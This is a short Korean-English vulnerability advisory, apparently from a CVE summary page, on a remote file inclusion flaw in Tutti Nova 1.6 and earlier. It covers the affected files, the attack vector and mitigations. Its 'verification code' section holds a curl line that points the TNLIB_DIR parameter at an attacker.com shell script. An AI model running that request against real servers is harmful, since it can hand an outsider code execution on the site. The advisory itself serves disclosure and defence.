🇰🇷 한글 설명
Tutti Nova 1.6 이하 버전에서 TNLIB_DIR 파라미터를 통한 다중 PHP 원격 파일 포함(RFI) 취약점이 존재합니다. 공격자는 악의적인 URL을 전달하여 임의의 PHP 코드를 실행할 수 있습니다. 영향받는 파일은 class.novaAdmin.mysql.php 및 class.novaRead.mysql.php입니다.
💡 쉬운 설명
Tutti Nova 웹 애플리케이션에서 공격자가 파라미터를 조작하여 원격 악성 파일을 실행할 수 있는 취약점입니다. 이를 통해 웹 서버를 완전히 장악당할 수 있습니다.
🇺🇸 원문 (English)
Multiple PHP remote file inclusion vulnerabilities in Tutti Nova 1.6 and earlier allow remote attackers to execute arbitrary PHP code via a URL in the TNLIB_DIR parameter to (1) include/novalib/class.novaAdmin.mysql.php and (2) novalib/class.novaRead.mysql.php. NOTE: the provenance of this information is unknown; the details are obtained from third party information.
📍 영향받는 시스템
Tutti Nova 1.6 이하 모든 버전
⚔️ 공격 벡터
HTTP 요청의 TNLIB_DIR 파라미터에 악성 URL을 삽입하여 원격 PHP 코드 실행 유도
🛡️ 대응 방법
Tutti Nova를 최신 버전으로 업그레이드하거나 입력값 검증 강화 및 allow_url_include=Off 설정
🔧 검증 코드
응답에서 외부 URL의 콘텐츠나 PHP 실행 결과가 포함되어 있으면 RFI 취약점이 존재합니다.
curl -s 'http://target/include/novalib/class.novaAdmin.mysql.php?TNLIB_DIR=http://attacker.com/shell.php' 2>/dev/null | grep -E '(error|success|output)' | head -5